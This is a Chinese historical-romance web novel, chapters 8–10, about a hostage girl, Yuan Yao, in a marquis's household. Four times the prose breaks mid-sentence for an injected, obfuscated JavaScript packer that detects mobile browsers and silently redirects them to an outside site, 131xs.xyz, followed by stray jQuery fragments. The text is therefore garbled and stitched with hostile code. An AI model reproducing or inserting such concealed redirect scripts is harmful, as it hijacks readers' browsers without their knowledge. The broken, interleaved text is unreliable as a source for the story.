热水包裹身体洗去疲惫，水汽氤氲升腾，霍褚阖眼，又想起那午夜客舍主人抱怨房客娇贵，填一夜柴。 “确实娇贵。”霍褚轻哼一声，他贵为一方诸侯也不见得有此待遇。 不过那样漂亮的人确实得这样娇养着。 梦中景象再入他眼，霍褚不觉眉间涌上愉悦之色。 才得半刻惬意就有脚步声近，他睁眼，是刘伯。 “侯爷，前堂有人争执。” …… “老爷要的名册姑娘一直不能接近，现在武侯回来，怕是更难拿了。”桑娘边为元窈梳头边哀声哉道。 元窈心中事一件压着一件，再听桑娘耳语不免烦闷，她难捱屋里压抑，借口到院里透气。 时近子时，往日这个时候都睡过一轮了。 “唉……”她站在廊上一下一下踢着支柱。 临行前舅父嘱咐有一卷马商名单在衙署中，需得设法取来，这些日子她一直试图接近书房，但刘伯看得紧，即使进入也避不开刘伯视线，莫说翻找名册就是靠近书案书架也是不许的。 现在武侯已回府，她想接近书房更难。而且…… “你个小贼！和我去见侯爷！！” “不……不要……” 夜深人静时，有人拉扯争吵声。 元窈此处和正厅只一墙之隔，堂前动静异常清晰。 贼？莫不是侯府丢了什么东西？ 元窈顿觉不好，是她给霍垣出主意要灾民在府上劳作，若是丢了什么贵重物件她定难辞其咎。 霍垣已经睡下，武侯不知是否回来，她稍有犹豫朝前堂走去。 妇人拉扯一年轻女子胳膊被衙役阻拦在宅门前，口中振振有词，斥她为贼，被吵醒的灾民在旁围观。 “我没有偷东西——不是偷的。”女子想要扯开妇人，却被她紧紧抓牢。 “不是偷的？！不是偷的这东西你是从哪儿得来的？！”妇人自然不信，一手拿着赃物，讥讽：“你家里那点底细我还不知道？镯子不是你偷的？你买得起吗？！” “真的不是偷的！”童声带着哭腔，是一孩童正紧紧抱着妇人大腿，不许她抓走女子。 妇人扯了扯腿，想要甩开孩子，仍嚷着：“不是偷的她是从哪儿得来的？！” 孩子哭喊：“真的不是偷的！是位小姐给的！” 妇人不信，审视的目光逐次略过两人的脸，言语笃定：“我怎的没听说这样大方的小姐？！我看就是你们手脚不干净偷了别人的东西！随我去见侯爷！” “不要——不——”“怎么回事？”三人拉扯时，一道女生清亮。 元窈提裙而来，见一众人等难得露出严肃神情：“为何夜中喧哗？” 她常同霍垣在衙署走动，霍垣事事听从于她，衙役也对她唯命是从，见她过来纷纷恭敬行礼。 “小姐，这个丫头偷人财物！”妇人拽着女子往前一步。 元窈在衙役身后，她望这妇人：“你说是赃物，那可有失主？” “这……”妇人语塞， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575405|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后道：“虽无失主，但这等物件绝非常人所有，我和她同村，知她家中底细是断不可能有这物件的。” “此言太过绝对，衙门也不能凭你这样一番说辞断案。”元窈不认同她这样说法，复问那女子：“她说那是赃物，你作何解释？” 女子仍被紧紧桎梏，她泣声：“小姐……这镯子是我半月前才入城时得一位小姐所赠，我娘风寒病重被她瞧见，她好心赠镯于我，我在城东当铺用其换了五百文钱……后到衙署得公子小姐照料，我做工赚钱这两日才把它赎回，想日后归还……” 她一席话忽唤起元窈记忆，元窈往前走两步穿过衙役到几人身前，女子垂头不敢看她，抱腿的孩童仰头直盯着她的脸。 当时巷中昏暗，她不记得那几人是何模样。 “给我看看镯子。”元窈对妇人道。 妇人将镯子交给元窈，雕花银镯在月下泛着柔光，镯身有数道银丝勾勒出精细花样，玛瑙石面莹润透亮，确实是她送出去的那只。 她看着妇人：“这个确实不是她偷的。” 妇人皱眉：“小姐这……” “是我送于她的。” 女子亦不知那日赠镯之人模样，只记得她一身华裙，问元窈之言惊讶抬头，才知她就是那日施恩之人。 “这……”妇人面露尴尬，松开年轻女子，双手紧张地在身上搓弄，结结巴巴道：“小姐……我……” “没事。”元窈轻轻一笑，浅笑安抚她：“你机警，分析也不无道理，但既是同村人你该多听她解释，就算仍心中怀疑也应等到天亮时再做查问，夜深人静扰人清梦实在不好。” “是……是……小姐说得在理……”妇人讪讪道。 她点头，扬声对其他人说：“日后再有此类事也不得在深夜喧闹，再有犯者逐出衙署。” 众人应声。 “好了，散去休息吧。”元窈示意衙役遣散他们。 “阿姐——”孩童松开妇人扑进女子怀中。 女子望着元窈，欲说什么，无非是感谢之言，元窈率先将袖中帕子给她，要她擦泪，“一场乌龙，让你委屈了。” “不……不是，小姐您言重了，是我该谢谢您……” 元窈被这样感恩戴德有些难以适从，她自觉不配，默默摇摇头，把镯子放回她手中，“我既有缘赠你，就不必你归还，眼下世道不平，多些财物傍身总不会错。” 视线向下，落在女孩脸上，她那一双黑黝黝的眼睛还是直勾勾的看着自己。元窈浅笑弯腰伸手轻轻捏了捏她的脸，话却是对女子说的：“给妹妹买套新衣裳，送她去学些什么也好。” 元窈于她又说几句，便劝她们回去休息。女子走前还欲再还，仍被她推回去了。 一只镯子，在常人眼中是这样的贵重之物。 元窈稍稍歪头，若是能带些财物逃到安定之处，兴许日后也能过得不错。 宅门只剩她一人，蚊虫嗡鸣声让人后脊发凉，元窈扇了扇蚊虫转身，只见一墨色长衫入眼。仰头，男人微微眯起眼眸，嘴角噙一抹淡笑，他目光如炬，眼中探究之意明显。 “宁家女？”语气低沉冷漠。 元窈当即认出这道声音，是武侯。 他…… 元窈说不出心虚在哪儿，腿霎时软得厉害，她欲欠身行礼却不料直接跪下了。 8. 家书 能彻底放下心防，霍垣借着大醉一直睡到巳时才缓缓睁开眼睛，睡意还未散去，他不甚清醒，迷茫看了看四周才知是在自己房中。 他……不是在和杳杳赏月吗？ 昨夜发生了什么？ 霍垣捂着头坐起来，后知后觉身上并没有宿醉不适感。奇怪，明明记得昨天喝了一坛酒，若是以往都该吐得昏天地暗了，这次怎么——零散的片段一一从脑海中闪过，霍垣呆滞几息。 昨晚他和杳杳说了好多胡话！ 他还……他还牵了杳杳的手……要她喂自己喝醒酒汤…… “啊……霍垣你怎么……”霍垣报膝沉吟，把脸埋进被子里，他怎么……怎么…… 再过两年他就及冠了，怎么还会做出这种蠢事！ 杳杳定在心里取笑他了！ 从前就是喝醉了他也是本分回房歇下，这次怎这样话多！杳杳！杳杳…… 思及元窈，霍垣思绪定了定。 杳杳……杳杳昨夜好温柔啊，简直就是……就是把他当孩子哄…… 他现在还记得杳杳那双宠溺笑眼。 他本不是那么醉的，都是杳杳……他看了杳杳才醉的…… “肯定取笑我了……”他后悔极了，闷闷的，但又不是那么难受。 他还是第一次被这么温柔地对待，就连小时候后母亲都不会这样哄他。 母亲……想起了什么，霍垣掀开被跳下地，门外的小厮听到声音进来，霍垣指着架子上的衣物叫他递来，边换衣边问：“堂兄可在？” “回公子话，侯爷正在书房和几位大人议事。” 他扣上扣子：“杳杳做什么呢？” “宁小姐在房中，今日还未见她出来。” “嗯？现在什么时间？” “巳时了。” 霍垣动作一顿，怎么会？杳杳平日卯正时就醒了，今儿——对了，昨儿他闹得那么晚，定是把杳杳折腾怪了。 侍女端洗漱器具进来，他收拾好心绪匆匆清洗，一路跑到书房不忘往厢房瞟两眼，书案抽屉里规规整整摆放着那封斟酌修改多次的信件，霍垣心中一抹清甜，拿着信件往正院去。 书房门禁闭，刘伯立于门边。 “刘伯。”霍垣脚步轻快过来叫人，霍褚有一门客声音尖细，他在门外都听得仔细。 刘伯知晓昨夜他醉酒之事，霍垣醉后总吵头疼。刘伯见他这样神清气爽略感意外，但未多问，只伸手拦他：“侯爷吩咐过不许人打扰，公子且先等等。” “唉，真是……”他正急着呢，还要等啊！ 他深深吐一口气，在门外踱步几个来回，还不见他们出来。 霍垣心痒难耐，想了想走到刘伯展开信件，笑呵呵地：“刘伯，你帮我瞧瞧这样写好不好。” 是霍褚曾叫他写的，他早写好了，这些日子一再补充修改，从原本的寥寥二十几字到现在已经洋洋洒洒写了三页之多。 霍垣人不拘小节，一手字却娟秀工整，刘伯大致看这一页纸还觉赏心悦目，字字句句读完就觉不耐了。 一页纸除了两行关切长辈之言，后尽是琐碎小事，杳杳之名只一页就提到了□□次，霍垣极尽溢美之词，刘伯都意料不到这话会出自他笔下。 刘伯读过一遍，思索一番道：“公子不必写得这般详尽，依我之见，不如舍去这页。”他将中间那页抽出，又分别指着第一页的前几行和第三页的末几行，“这两页留下这些便好。” 霍垣眼中质疑，他接回信纸看刘伯指着的那几行，这不就是他最先写的那些吗？ 这怎么行？ 只这样写父亲母亲怎会知杳杳是何等贤良女子。 他欲与刘伯辩解一二，正好书房从里面推开。 “小将军。” 出来的人一一朝霍垣问好，经他们一打断霍垣便忘了和刘伯吵，紧理好信件应完他们的话钻进书房。 “哥！”霍垣兴冲冲捧着信纸越过方应知径直到霍褚跟前，给他展开：“哥，你叫我写信，我这样写如何？” 霍褚放下城防图接过霍垣的信，入目皆是杳杳二字。 杳杳。霍褚默念一声。 天真浪漫？倒和他昨日瞧得不大一样。 翻看过，霍褚将信递还给他，“你倒甚是心悦她。” 霍垣不觉害臊，一脸笃定：“杳杳秀外慧中，谁见了都会喜欢。” 他哼一声：“宁远……杳杳是他女儿真是可惜了。” 杳杳这样的好姑娘，合该有将她视若珍宝的父母，怎的摊上宁远昭这样的父亲，竟忍心送她为质……可怜杳杳日后同他成婚，也少不了被人耻笑。 霍褚瞥他一眼，淡淡道：“写好了便送去。” 经霍褚过眼，他便安心了，乐呵呵就要走。 “你去把灾民安排下去，晚时宁远昭之子宁慎会来。” “啊？”霍垣脚步一转又转回来，疑惑：“他来做什么？” 霍褚烦他话多，方应知替他解惑：“小将军有所不知，侯爷在常青山救人时正遇宁慎追寇，他协侯爷救人，侯爷与他客气请他小住……” “那他就要来？！”霍垣不免惊诧，“他竟然敢来？！” 他们宁家一边——诶，霍垣转念一想，道：“难道宁家并没有投秦，是真心与我们讲和？” 他神情认真不似作伪，是真有这番猜测，倒让方应知一愣。 霍褚嫌他聒噪冷言要他做事去。 霍垣习惯他这样阴晴不定，哼了一声离去。原他还想要方应知等人劝他房中添人，如今看来他堂兄这样的脾气，孤独终老算了，难道他日后成亲也不许堂嫂同他讲话？ 方应知望霍垣背影半晌，直到看不见才收回目光，转向霍褚，斟酌开口：“主公，方某认为宁家女去处有待商酌。” 霍垣太过性情，宁家女得他欢心，他就心智受扰，若真娶得宁家女，难保日后不受其影响。方应知身为霍褚门下谋士，当该瞻前顾后，以免他日祸患。 “嗯。”霍褚饮茶，却没有再说的意思。 虽只有一字，但方应知偏觉霍褚认同，不过…… “主公不唤他收回信件？” “无碍。”一抹笑意在霍褚眼中一闪而逝，以叔父叔母秉性，见霍垣与宁家女相处半月便有这滔滔之言，他们定会猜得霍垣受蛊不轻，对宁家女心生抵触，不许他与宁家女亲近。 宁家女太过聪明，确实不配霍垣。 霍褚放下茶杯，沉声叫人：“刘伯。” 刘伯应声进来，听霍褚吩咐：“阿垣有家书要送，你传句口信，说他水土不服，想念家乡的糖火烧。” 家中有个姑娘会做糖火烧，最得霍垣口味。 “好。”刘伯应下，正要退出去就听方应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575406|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知说：“那侯爷打算如何安置宁家女呢？” 刘伯惊异，脚下迟疑停在原地，宁家小姐不是要和公子…… “刘伯。” “是。”刘伯惊醒。 “西院既然打扫好便请宁姑娘搬去吧，另外把西院厢房置好，晚时宁姑娘兄长会来府上小住。” “霍垣那边也请刘伯知会一声，该如何说刘伯应当清楚。” 刘伯忙道：“侯爷说笑，宁小姐来府上做客，迫不得已才与公子居于一院，本就不合规矩。” …… “桑娘，再帮我添件衣服吧。” 桑娘叹一声，取出一件桃色锦缎碎花袍给元窈换上，元窈体温甚高，呼出的热气吹在她脸上，“姑娘昨夜可是冲撞什么了，怎的会这时候忽地发热？” 哪有冲撞什么，她只是撞见武侯了。 元窈强扯出一抹笑容：“不想桑娘还是个迷信的人。” “你还有心玩笑。”桑娘嗔怪，这种天气受凉发热可不易好。元窈身子康健，乍一病就来势汹汹，像要把之前欠下的都补回来似的，早时怎么唤都起不来，汤药都是硬灌下去的。 “我早就不让姑娘出去，姑娘偏不听话，受了凉以后可乖了？” 她这语气像极了阿母，元窈心中涌上一股莫名情绪，眸光轻柔凝着桑娘。 “武侯尚未离府，姑娘还不去拜见，只怕惹他不悦。” 元窈神色僵滞，黯然敛眸，默声片刻轻道：“武侯胸有鸿鹄志，不会在意这等小事。” “无论如何，姑娘去问声好吧。”桑娘为她系好衣带，拿来口脂要给她涂上。 元窈发热，脸颊一直泛着红像上了一层胭脂，但嘴唇却因为发热泛白，不影响她美貌但终归看着憔悴。 她往后躲了一下，不大愿意：“涩……” “好姑娘。”桑娘哄着给她涂上：“一会儿我便去买别的回来，先用这个。” 元窈病中情绪难免敏感，经这一段莫名伤心，眼含半汪水由桑娘侍弄。 “宁小姐，可方便小人进入？” 门外是刘伯的声音。 元窈眨眨眼盖去泪水，清嗓回：“方便，进来吧。” 刘伯轻便进来，朝元窈问好后直身：“宁小姐为府上贵客，屈居厢房于礼不合，现下西院已装点完善，故请小姐搬移。” “好，劳刘伯费心。”元窈应下，瞥桑娘一眼。桑娘会意给刘伯倒上一杯热茶，“管家先喝杯茶润嗓。” 刘伯退一步才接下，只轻尝一口，继续说：“小人听侯爷与人言，说是小姐兄长将来府上小住，小姐可早做准备。” 兄长？元窈倏地睁大眼睛，宁慎要来？ “这……不知刘伯可知我兄长因何而来？” “听闻是与侯爷常青山有一面之缘。” 汝南郡至此几百里，宁慎怎会无缘无故出现在常青山？元窈疑窦，难道是舅父嫌她动作太慢，故遣表哥前来催促？ 见元窈出神，桑娘只得赔笑送刘伯出门，刘伯走到门槛，停顿一下，往后瞧了眼元窈，出门就深看桑娘。 桑娘察觉他有话，故往前一步，姿态恭敬：“管家可是有话提点奴？” “不不。”刘伯摇头笑笑，神情和善：“我是忽地想起宁小姐为求医而来，可小姐却不像是体弱之人，不知小姐是有何疾？” “这……” 9. 宁慎 刘伯才走不久，元窈便被请去西院，走出东院桑娘往正房瞥一眼：“姑娘，真不去见武侯。” 元窈脑中混沌，缓缓摇了摇头。西院木槿花正盛，经微风吹拂，花枝纠缠簌簌作响。 那会儿不是一定要她去见武侯，怎么转眼态度就缓和了？她才觉不对，扭头看桑娘，问：“怎么了？” 桑娘视线不落实地，心事重重，抖了一下才回神，有些懵着。 元窈定定看桑娘几息，她这双眸子生得黑，眼尾弯弯，清澈明亮，但沉时淡淡看人似有贯穿人心之能。桑娘与她对视都觉得发怵，正身旁有小厮搬箱经过，桑娘扶她避开，再抬头元窈已不看她了。 两间屋子差异甚微，只是少了些人气暖意，桑娘将元窈扶在梳妆台前，便去和小厮一同归置物件，拿出一套被褥铺床。 外人尽去了，元窈坐凝视桑娘的身影，想了想，问她：“刘伯和你说什么了？” 才还那样哄她，一转眼便随她去了，未免奇怪。这会子功夫，桑娘只和刘伯有过接触。 桑娘动作一顿，转身对着元窈，语气也是纳闷的：“倒没说什么，只是我瞧着他眼神有古怪。” 像有什么深意但她想不出。 而且……她一个奶娘都知道元窈此行真意，刘伯身为武侯体己人会不知道？这等子上不得台面的事怎好拿出来问。 “那他说了什么？”元窈隐约有不好的预感。 “他问小姐身子有何不适要来此求医。” 咚一声，元窈不上不下的心彻底沉下了，不多时，她眨眨眼，轻地哼笑一声。 果然如此。 “那就叫刘伯请去医师吧，说我旧疾复发。” 她说话向来轻声细语，这一声像一缕轻烟散于空中，什么都留不住，什么都抓不住。 刘伯是提点她别忘了北上缘由，到颍川郡入侯府，是为求奇医韩师治病。 养病嘛，少不了要久居，也不必非要和谁成亲。 元窈默默坐着，眼底沉静，但手紧紧绞着那方团花手帕，边角的如意花纹都要被拧碎了。 桑娘云里雾里的，将床褥捋了一遍，把褪了外衣的元窈塞进被里，手下人顺势便闭上眼了。桑娘第一次见着这样乖巧安静的孩子，心间迷云尽散，遂扬起笑容，语气格外慈爱：“那姑娘先睡着，我去请医师来。” “嗯。”元窈轻轻一声。 她热得厉害，鼻尖呼出的气灼着上唇，整个人都要烧起来一样。 闭上眼，一片漆黑什么也瞧不见，就如昨夜一般。 许是突冒出来逃离的想法就正撞上武侯，心中慌乱，便脚软跪下了，一个字也吐不出来。 她垂头不敢看人，却能感受到微凉的视线铁刃似的划过自己的身体。 许久之后才听武侯一句：“早些歇去，莫要乱跑。” 同不久前她欲趁夜色往书房被刘伯发现时说得差不多——“小姐早些休息，夜色太深乱跑失了方向。” 她偏觉得武侯知晓自己心中有鬼。 金纹履去，仍跪了许久，直到寒气刺透膝盖传至全身她方如梦初醒。 昨儿是十五，月正圆，她望了一夜，到底也没能留下那轮圆月…… 不知不觉，两行泪珠从眼尾滑下，吐出的热气不再平缓，有风呼啸吹得七零八散。 “呜呜……”春桃含露的唇瓣被咬得渗出血迹都压不住泣声。 怎么办啊……一柄重剑悬在元窈心头，让她难受得喘不上气来。 就这样待在这里，等到舅父归顺秦王，由武侯就将她斩于城下？ …… 得过元窈几次献策，霍垣已学会如何做甩手掌柜，他将灾民领去城东就让人把子恺叫来，子恺为霍褚麾下将，原就要留他守颍川郡。 子恺不是莽夫将军，是实实在在文韬武略的良将，将此事托给他，霍垣十分放心，哼着小调便去城门守侯。 告示已贴两日，零星有些颍人归乡，为防混入什么不知名的人，城门的守备更加森严。城外巡逻卫队已换过三轮，霍垣迟迟不见人来，索性领一队去城外巡逻。日昳时正热，颍川郡一带多山多树也遣不去炙热。烈阳烘烤，土地泛起阵阵沙纹，汗珠滴落滑到眼里，霍垣快速揉了一下，视线清，一匹枣红色骏马映入眼帘。 马身如立，鬃毛飘逸，不是寻常马匹。马背上人，一身烟灰暗纹银色劲装，模样俊逸非凡，眼尾扬上三分像是工于心计之人。 霍垣不喜，径直要走过，两马相近时，对面男子也在打量霍垣，正要错开，男人勒马停下，“阁下可是武安侯堂弟霍垣霍公子？” 霍垣驭马停下，扭头看他：“你认得我？” 宁慎一笑：“在下豫州刺史宁远昭之子宁慎。” “你就是杳杳兄长！”霍垣面惊，驾马掉头与男人齐肩：“我已等你多时了！” 他满眼惊喜，没看出宁慎眼底一闪而过的不悦。 “霍公子客气，在下自行拜访便是。”宁慎一副谦和有礼之态。 霍垣领他往城门去，大方道：“那怎么行，你若要来，当然该要我来迎接。” 宁慎知他语气亲近为何，于他身后冷笑。 毛头小子，也配杳杳？ 进衙署，霍垣有说有笑带宁慎一路直奔东院，刘伯见有生人来，去追霍垣，“公子，侯爷吩咐要宁小姐搬至西院了。” “啊……”一字既有恍然又有憾色，霍垣暗自嘀咕霍褚多此一举，面色如常往西院转。 宁慎比他多知些礼数，伸手拦他：“在下还是先去拜见武安侯爷吧。” 刘伯闻此为他引路。霍垣挠了挠头，自己往西院去。院里花开烂漫，弥漫的花香却压不住一股子药味儿，霍垣心底疑惑，哪儿来这么大的苦味儿？杳杳病了不成？ “嗬，二公子。”桑娘端着药出来正撞见他，“公子可是来寻姑娘，她在房中躺下了。” “还躺着？”霍垣蹙眉，视线落在她手上：“这药是杳杳的？” 桑娘点头，如实道：“小姐突发热症，韩师才来看过，说小姐年幼体衰要服药温养。” 她怕药凉不好下咽，朝霍垣欠身：“公子，奴先去喂小姐用药。” 霍垣赶紧摆手：“快去吧快去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575407|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 杳杳之前身子都好，怎么会突发热症？霍垣瞅向内室窗子，隐约看得一人躺在床上，竟是真的不能起身…… 难道！霍垣脑中一道白光闪过，难道是他昨晚胡闹让杳杳疲累引发旧疾？！ 唉……这！这！霍垣后悔得想给自己一拳，就要跑进去跪在杳杳床前忏悔，进到门口就猛地收住脚步。 杳杳明礼数，他若这样闯进去，多半更会气着她！ 霍垣沉思，不如去问问韩师该如何调养杳杳身子？他依稀记得母亲养生衣食住行处处皆有门道，杳杳只喝汤药怎么能行。 两碗汤药下肚，桑娘是真知元窈身虚了，眼看四个时辰了，还未褪热。 元窈迷迷糊糊一直睡着，宁慎探过一次，唤了许久也叫不醒人 韩师已被请了三次，第四次时只请来两字——无碍。 宁慎和桑娘围坐，论了许久终也觉得元窈无碍。 只是烧着脸和四肢，额头、身上都是温热的，哪儿像常人热病。奇医都说无碍了，不见得会有什么事。 霍褚在厅中设宴，宁慎赴宴去，大醉归，西院总才他们三人，桑娘信不过武侯的人，见元窈熟睡安详便去厢房照顾宁慎。 戌时，睡了一天的元窈可算舍得睁眼了，人醒了，热症还没褪去。 什么时候了？她揉揉眼睛坐起来，喊了两声桑娘，却无人应。 窗外星慕辉映，元窈却眼前模糊看不大清。 这一日她昏沉沉睡着，但却一直能听得房里动静，那时，还听到了宁慎同桑娘说了她与霍垣之事，如她所想，武侯无意霍垣和她亲近。还说什么她记不清了，只好像……舅父似乎还欲她接近武侯，听宁慎之言，就算武侯许霍垣与她亲近，舅父也不会成全。 元窈垂眸，武侯……昨夜那双闪着幽光的眸子在她脑海中挥之不去。 那双眼睛，能洞悉一切。 霍垣……元窈莞尔一笑，抚上手背。宁慎去后，霍垣貌似跑过来抓着她的手哭了好久，痛哭流涕地忏悔以为是自己害她生病。 霍垣真是难得的纯良人，若是能…… “桑娘？”元窈又唤了一声，仍没得到回音。 她慢慢起身下床，穿上那件碎花袍，在梳妆镜前随意挽起长发。 试一次吧，成与不成，就这一次。 她看着镜中自己，却站不起来。 难道要将礼义廉耻都弃之不顾？ 元窈不自觉地对镜摇头，瞧见自己的动作又不免愣住。 良久，她叹一声。 走出屋，偏房灯火通明，透过门窗可见一熟悉忙碌的身影。 晚风吹去鼻尖闷燥的花香，元窈怔了怔，偏房住的多半是宁慎，原来桑娘是去照顾他了。 刘伯说过要给她院里添些人手，这会儿西院还没有旁人，就不知道东院有多少人了。 她轻轻拽了拽衣带，扶栏走出西院。身上热意不退，脑袋还是昏昏涨涨的。如果被人撞见，就说走错了，反正她也病了，谁会和病人计较呢？ 出乎意料的东院竟一个人都没有，霍垣也不在房中。 10. 错认 去哪儿了呢？ 院里石桌上还摆着一套白玉壶盏，是昨晚落下的，还没来得及收起。 她想了想，慢悠悠走过去坐在一旁。 等一等霍垣，反正平日里她也是这样等他的。 凉风习习，空气中的花香被揉碎了散着，厢房檐下都是霍垣给她寻来的花，还没搬走。 她原以为会久居这里，着实用心布置了一边，想装点得和幽院一个模样，只可惜…… 夜色更深，月光比昨日暗了不少。元窈尚在病中，经风一吹，不适感再度涌来。 她思绪再度飘远，想到白日韩师所言。她虽不是足月出生，但身体一直健康，十五年来少有疾病。 今日莫名的热症多是被武侯吓出来的，才不是他说的体虚孱弱，那不过是个借口罢了，一个她留在这儿的名头。 武侯顺承舅父意愿，让她以医病之由留在这里。 可这不是舅父心中所愿，一个质子对他是没有助力的，他需要的是一个武侯的枕边人，但她不行。 替表姐北上为质，将性命交予他人之手，就算报答舅父舅母养育之恩了。最多……再把盐商的名册取来。她犹豫想着。 “唔……”突如其来的眩晕感逼得元窈恶心，将她从神游中拉回来。 过了多久了？ 院里比她来时黑了不少，霍垣仍没回来。 难道今夜他不回来了？ 天有积云压来，院里灯火昏暗就更看不清了，元窈难受得等不住了。 看来今日不是什么好日子。 她站起身微微勾唇，略有一丝苦涩。 想来桑娘这回已侍候宁慎睡下了，若是回房见不到她，定会着急。 院里小路嵌石，元窈脚下虚浮不得不小心试探，每一步都似踩在湍急水流中，被冲得身形摇晃，太阳穴突突跳个不停。一身冷汗浸得衣料紧贴在身上，呼出的气被风吹回脸上，滚热的。 她整个人摇摇欲坠，似乎要跌入云雾一般，踉跄快走几步，就眼前昏花直撞在廊柱上，“唔……”锁骨被撞得又痛又麻，元窈痛苦的呜咽一声，后悔自己脑子不清醒就跑到这儿来，回房都成了问题。 她缓了会儿继续往回走，折腾这么一趟，病症更重许多，耳中嗡嗡地鸣响，吵得头痛。眼前像蒙着一层水雾，她瞧不见路，凭着一点微弱火光找到门的方向，忽的一个黑影压来，元窈避之不及跌进来人怀里。 霍褚从前厅过来就见一道娇小身影跌跌撞撞往东院去，想来就是她，便跟过去看，她在东院转了一圈最后坐在石桌旁，霍褚就静静在门口观察，直到现在，这人稀里糊涂撞进自己怀里。 元窈手下云纹袖口针脚细密，她触及便知这人不会是府上下人，她现未出东院，来人身形高大，身上檀香味熟悉。 她软声叫人：“阿垣哥哥？” 病中人气息滚热，一道又香又热的气蔓到霍褚脸上，不由得让他微愣，果然如梦中般，香的，软的，热的。 元窈没被推开，反而被稳稳扶着，她更确信这人就是霍垣，于是有意朝他靠近，仰头娇气又可怜地开口：“阿垣哥哥才忙完回来吗？杳杳糊糊涂涂走错了路，找不见阿垣哥哥，都没法回房了……” 病中语总是叫人摸不清头脑的，但只乍听这语调霍褚的耳朵就被揉软了，他眸子暗了暗，将元窈半搂在怀中，让她站得更稳些。 少女玉面泛着粉潮，眉似青山远黛，唇如丹砂，像是话本里初涉尘世的妖狐，青嫩又艳丽。 霍褚听得韩师说她受凉得了热症，却不想病成这样，这么近的距离都能认错人。 至于走错了路？看着可不像，像来故意找人。 元窈隐约听得有人说话，离她很远，以为是自己病重听不清霍垣的声音，她便自顾自地缩着身子靠在男人怀里，“阿垣哥哥，杳杳好难受……” 她衣服松着，这一动作领口就松垮下来，霍褚居高临下，窥得半分春色。 “呵……”他嗤笑一声，当即明了了，原来是来投怀送抱，勾引人的。 他一手揽住元窈腰身，三指抬起她小巧的下巴，少女水眸蒙蒙一如那雨夜，也是这样沁粉的脸。 呵……还以为是什么可人呢。 “阿垣哥哥……”即使看不清神情，元窈也觉他的视线分外灼热，两张面孔贴近，忽地有浓烈酒气入鼻，她心中一凛。 霍垣又喝酒醉了？ 不行、不能这样！ 元窈顿有几分清明，匆匆垂下头不敢再引诱男人，暗自后悔自己不该过来的。霍垣正是血气方刚的时候，又心悦自己，若是醉酒乱性想做什么，她这样子定是无法抵抗的。 就算认定他为良人，她也不想就这样…… 元窈伸手抵住男人胸口，不动声色拉开些距离，她后退一步想要摆脱男人放在她腰间的手臂，嘴上轻轻地央求似的：“阿垣哥哥送杳杳回房好不好？杳杳好热，好难受。” 这是心底话，传进霍褚耳中便是带着深意的暗示。他想将人推开，却下不去手，不知是被什么勾着。 “好哥哥，帮帮杳杳……”元窈已是神志不清，若是平时定知自己这般语气说话只会更惹火男人。但她现头昏脑涨，又怕又是真的难受，一心想回房去，说得是什么自己也不晓得。 这么软的人在怀里哝哝细语，霍褚心中稍有异样，倏地将人打横抱起。 元窈惊呼一声，抓着男人衣襟，但只勾的一点布料。 “送你回去。”男人疾步，走得很快，声音颤着，一双眼比夜空更沉。 回去？确实是送她回去，但回哪儿去就不一定了。 元窈没听出声音有异，陷入这样温暖有力的怀抱，不免想起之前经历。 她失力靠在霍褚胸膛意识逐渐模糊，少顷，一声呢喃在寂静夜中清晰，“谢谢……大人……” 一句勾起回忆，霍褚烧起来的身体猛地凉下去，迈进正房的腿迟疑一瞬便收回来，在刘伯惊讶的目光下，他稍定神，抱人转头走进西院。 那日一场际遇给他留下许多旖旎梦境，他确实心有妄念过，但也只是对那柔弱可怜的人儿。 今日之举真真打碎他的臆念，与其日后厌弃倒不如不碰。虽然心思不纯，但不过是个小姑娘，送她回家便是了。 霍褚几步走进屋里，想把人交给桑娘，定睛一看，才发现屋里空荡荡的，一个人也无。 她奶娘呢？男人皱眉，那日逃命之际将她落在后面就算了，平日也不常伴她身侧吗？ 少女已在他怀中睡去，睡颜恬静，霍褚收回视线，轻轻慢慢走着，动作小心将她放到床上合上被。 他打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575408|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量一会儿，又有疑。 